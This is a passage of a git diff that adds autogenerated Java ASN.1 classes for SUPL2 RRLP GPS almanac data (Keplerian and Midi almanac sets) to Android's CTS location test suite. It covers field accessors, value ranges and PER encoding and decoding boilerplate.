+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kepAlmanacM0 : "
+ + getKepAlmanacM0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getKepAlmanacAF0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKepAlmanacAF0();
+ }
+
+ @Override public void setToNewInstance() {
+ setKepAlmanacAF0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.kepAlmanacAF0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kepAlmanacAF0 : "
+ + getKepAlmanacAF0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getKepAlmanacAF1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKepAlmanacAF1();
+ }
+
+ @Override public void setToNewInstance() {
+ setKepAlmanacAF1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.kepAlmanacAF1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kepAlmanacAF1 : "
+ + getKepAlmanacAF1().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kepAlmanacEType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_kepAlmanacEType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kepAlmanacEType() {
+ super();
+ setValueRange("0", "2047");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kepAlmanacEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kepAlmanacEType != null) {
+ return ImmutableList.of(TAG_kepAlmanacEType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kepAlmanacEType from encoded stream.
+ */
+ public static kepAlmanacEType fromPerUnaligned(byte[] encodedBytes) {
+ kepAlmanacEType result = new kepAlmanacEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kepAlmanacEType from encoded stream.
+ */
+ public static kepAlmanacEType fromPerAligned(byte[] encodedBytes) {
+ kepAlmanacEType result = new kepAlmanacEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kepAlmanacEType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kepAlmanacDeltaIType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_kepAlmanacDeltaIType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kepAlmanacDeltaIType() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kepAlmanacDeltaIType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kepAlmanacDeltaIType != null) {
+ return ImmutableList.of(TAG_kepAlmanacDeltaIType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kepAlmanacDeltaIType from encoded stream.
+ */
+ public static kepAlmanacDeltaIType fromPerUnaligned(byte[] encodedBytes) {
+ kepAlmanacDeltaIType result = new kepAlmanacDeltaIType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kepAlmanacDeltaIType from encoded stream.
+ */
+ public static kepAlmanacDeltaIType fromPerAligned(byte[] encodedBytes) {
+ kepAlmanacDeltaIType result = new kepAlmanacDeltaIType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kepAlmanacDeltaIType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kepAlmanacOmegaDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_kepAlmanacOmegaDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kepAlmanacOmegaDotType() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kepAlmanacOmegaDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kepAlmanacOmegaDotType != null) {
+ return ImmutableList.of(TAG_kepAlmanacOmegaDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kepAlmanacOmegaDotType from encoded stream.
+ */
+ public static kepAlmanacOmegaDotType fromPerUnaligned(byte[] encodedBytes) {
+ kepAlmanacOmegaDotType result = new kepAlmanacOmegaDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kepAlmanacOmegaDotType from encoded stream.
+ */
+ public static kepAlmanacOmegaDotType fromPerAligned(byte[] encodedBytes) {
+ kepAlmanacOmegaDotType result = new kepAlmanacOmegaDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kepAlmanacOmegaDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kepSVHealthType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_kepSVHealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kepSVHealthType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kepSVHealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kepSVHealthType != null) {
+ return ImmutableList.of(TAG_kepSVHealthType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kepSVHealthType from encoded stream.
+ */
+ public static kepSVHealthType fromPerUnaligned(byte[] encodedBytes) {
+ kepSVHealthType result = new kepSVHealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kepSVHealthType from encoded stream.
+ */
+ public static kepSVHealthType fromPerAligned(byte[] encodedBytes) {
+ kepSVHealthType result = new kepSVHealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kepSVHealthType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kepAlmanacAPowerHalfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_kepAlmanacAPowerHalfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kepAlmanacAPowerHalfType() {
+ super();
+ setValueRange("-65536", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kepAlmanacAPowerHalfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kepAlmanacAPowerHalfType != null) {
+ return ImmutableList.of(TAG_kepAlmanacAPowerHalfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kepAlmanacAPowerHalfType from encoded stream.
+ */
+ public static kepAlmanacAPowerHalfType fromPerUnaligned(byte[] encodedBytes) {
+ kepAlmanacAPowerHalfType result = new kepAlmanacAPowerHalfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kepAlmanacAPowerHalfType from encoded stream.
+ */
+ public static kepAlmanacAPowerHalfType fromPerAligned(byte[] encodedBytes) {
+ kepAlmanacAPowerHalfType result = new kepAlmanacAPowerHalfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kepAlmanacAPowerHalfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kepAlmanacOmega0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_kepAlmanacOmega0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kepAlmanacOmega0Type() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kepAlmanacOmega0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kepAlmanacOmega0Type != null) {
+ return ImmutableList.of(TAG_kepAlmanacOmega0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kepAlmanacOmega0Type from encoded stream.
+ */
+ public static kepAlmanacOmega0Type fromPerUnaligned(byte[] encodedBytes) {
+ kepAlmanacOmega0Type result = new kepAlmanacOmega0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kepAlmanacOmega0Type from encoded stream.
+ */
+ public static kepAlmanacOmega0Type fromPerAligned(byte[] encodedBytes) {
+ kepAlmanacOmega0Type result = new kepAlmanacOmega0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kepAlmanacOmega0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kepAlmanacWType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_kepAlmanacWType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kepAlmanacWType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kepAlmanacWType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kepAlmanacWType != null) {
+ return ImmutableList.of(TAG_kepAlmanacWType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kepAlmanacWType from encoded stream.
+ */
+ public static kepAlmanacWType fromPerUnaligned(byte[] encodedBytes) {
+ kepAlmanacWType result = new kepAlmanacWType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kepAlmanacWType from encoded stream.
+ */
+ public static kepAlmanacWType fromPerAligned(byte[] encodedBytes) {
+ kepAlmanacWType result = new kepAlmanacWType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kepAlmanacWType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kepAlmanacM0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_kepAlmanacM0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kepAlmanacM0Type() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kepAlmanacM0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kepAlmanacM0Type != null) {
+ return ImmutableList.of(TAG_kepAlmanacM0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kepAlmanacM0Type from encoded stream.
+ */
+ public static kepAlmanacM0Type fromPerUnaligned(byte[] encodedBytes) {
+ kepAlmanacM0Type result = new kepAlmanacM0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kepAlmanacM0Type from encoded stream.
+ */
+ public static kepAlmanacM0Type fromPerAligned(byte[] encodedBytes) {
+ kepAlmanacM0Type result = new kepAlmanacM0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kepAlmanacM0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kepAlmanacAF0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_kepAlmanacAF0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kepAlmanacAF0Type() {
+ super();
+ setValueRange("-8192", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kepAlmanacAF0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kepAlmanacAF0Type != null) {
+ return ImmutableList.of(TAG_kepAlmanacAF0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kepAlmanacAF0Type from encoded stream.
+ */
+ public static kepAlmanacAF0Type fromPerUnaligned(byte[] encodedBytes) {
+ kepAlmanacAF0Type result = new kepAlmanacAF0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kepAlmanacAF0Type from encoded stream.
+ */
+ public static kepAlmanacAF0Type fromPerAligned(byte[] encodedBytes) {
+ kepAlmanacAF0Type result = new kepAlmanacAF0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kepAlmanacAF0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kepAlmanacAF1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_kepAlmanacAF1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kepAlmanacAF1Type() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kepAlmanacAF1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kepAlmanacAF1Type != null) {
+ return ImmutableList.of(TAG_kepAlmanacAF1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kepAlmanacAF1Type from encoded stream.
+ */
+ public static kepAlmanacAF1Type fromPerUnaligned(byte[] encodedBytes) {
+ kepAlmanacAF1Type result = new kepAlmanacAF1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kepAlmanacAF1Type from encoded stream.
+ */
+ public static kepAlmanacAF1Type fromPerAligned(byte[] encodedBytes) {
+ kepAlmanacAF1Type result = new kepAlmanacAF1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kepAlmanacAF1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Almanac_KeplerianSet = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java
new file mode 100755
index 0000000..581e656
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java
@@ -0,0 +1,1912 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Almanac_MidiAlmanacSet extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Almanac_MidiAlmanacSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Almanac_MidiAlmanacSet() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Almanac_MidiAlmanacSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Almanac_MidiAlmanacSet != null) {
+ return ImmutableList.of(TAG_Almanac_MidiAlmanacSet);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Almanac_MidiAlmanacSet from encoded stream.
+ */
+ public static Almanac_MidiAlmanacSet fromPerUnaligned(byte[] encodedBytes) {
+ Almanac_MidiAlmanacSet result = new Almanac_MidiAlmanacSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Almanac_MidiAlmanacSet from encoded stream.
+ */
+ public static Almanac_MidiAlmanacSet fromPerAligned(byte[] encodedBytes) {
+ Almanac_MidiAlmanacSet result = new Almanac_MidiAlmanacSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmEType midiAlmE_;
+ public Almanac_MidiAlmanacSet.midiAlmEType getMidiAlmE() {
+ return midiAlmE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmEType
+ */
+ public void setMidiAlmE(Asn1Object value) {
+ this.midiAlmE_ = (Almanac_MidiAlmanacSet.midiAlmEType) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmEType setMidiAlmEToNewInstance() {
+ midiAlmE_ = new Almanac_MidiAlmanacSet.midiAlmEType();
+ return midiAlmE_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmDeltaIType midiAlmDeltaI_;
+ public Almanac_MidiAlmanacSet.midiAlmDeltaIType getMidiAlmDeltaI() {
+ return midiAlmDeltaI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmDeltaIType
+ */
+ public void setMidiAlmDeltaI(Asn1Object value) {
+ this.midiAlmDeltaI_ = (Almanac_MidiAlmanacSet.midiAlmDeltaIType) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmDeltaIType setMidiAlmDeltaIToNewInstance() {
+ midiAlmDeltaI_ = new Almanac_MidiAlmanacSet.midiAlmDeltaIType();
+ return midiAlmDeltaI_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmOmegaDotType midiAlmOmegaDot_;
+ public Almanac_MidiAlmanacSet.midiAlmOmegaDotType getMidiAlmOmegaDot() {
+ return midiAlmOmegaDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmOmegaDotType
+ */
+ public void setMidiAlmOmegaDot(Asn1Object value) {
+ this.midiAlmOmegaDot_ = (Almanac_MidiAlmanacSet.midiAlmOmegaDotType) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmOmegaDotType setMidiAlmOmegaDotToNewInstance() {
+ midiAlmOmegaDot_ = new Almanac_MidiAlmanacSet.midiAlmOmegaDotType();
+ return midiAlmOmegaDot_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmSqrtAType midiAlmSqrtA_;
+ public Almanac_MidiAlmanacSet.midiAlmSqrtAType getMidiAlmSqrtA() {
+ return midiAlmSqrtA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmSqrtAType
+ */
+ public void setMidiAlmSqrtA(Asn1Object value) {
+ this.midiAlmSqrtA_ = (Almanac_MidiAlmanacSet.midiAlmSqrtAType) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmSqrtAType setMidiAlmSqrtAToNewInstance() {
+ midiAlmSqrtA_ = new Almanac_MidiAlmanacSet.midiAlmSqrtAType();
+ return midiAlmSqrtA_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmOmega0Type midiAlmOmega0_;
+ public Almanac_MidiAlmanacSet.midiAlmOmega0Type getMidiAlmOmega0() {
+ return midiAlmOmega0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmOmega0Type
+ */
+ public void setMidiAlmOmega0(Asn1Object value) {
+ this.midiAlmOmega0_ = (Almanac_MidiAlmanacSet.midiAlmOmega0Type) value;
+ }
+ public Almanac_MidiAlmanacSet.midiAlmOmega0Type setMidiAlmOmega0ToNewInstance() {
+ midiAlmOmega0_ = new Almanac_MidiAlmanacSet.midiAlmOmega0Type();
+ return midiAlmOmega0_;
+ }
+
+ private Almanac_MidiAlmanacSet.midiAlmOmegaType midiAlmOmega_;
+ public Almanac_MidiAlmanacSet.midiAlmOmegaType getMidiAlmOmega() {
+ return midiAlmOmega_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_MidiAlmanacSet.midiAlmOmegaType
+ */
+ public void setMidiAlmOmega(Asn1Object value) {
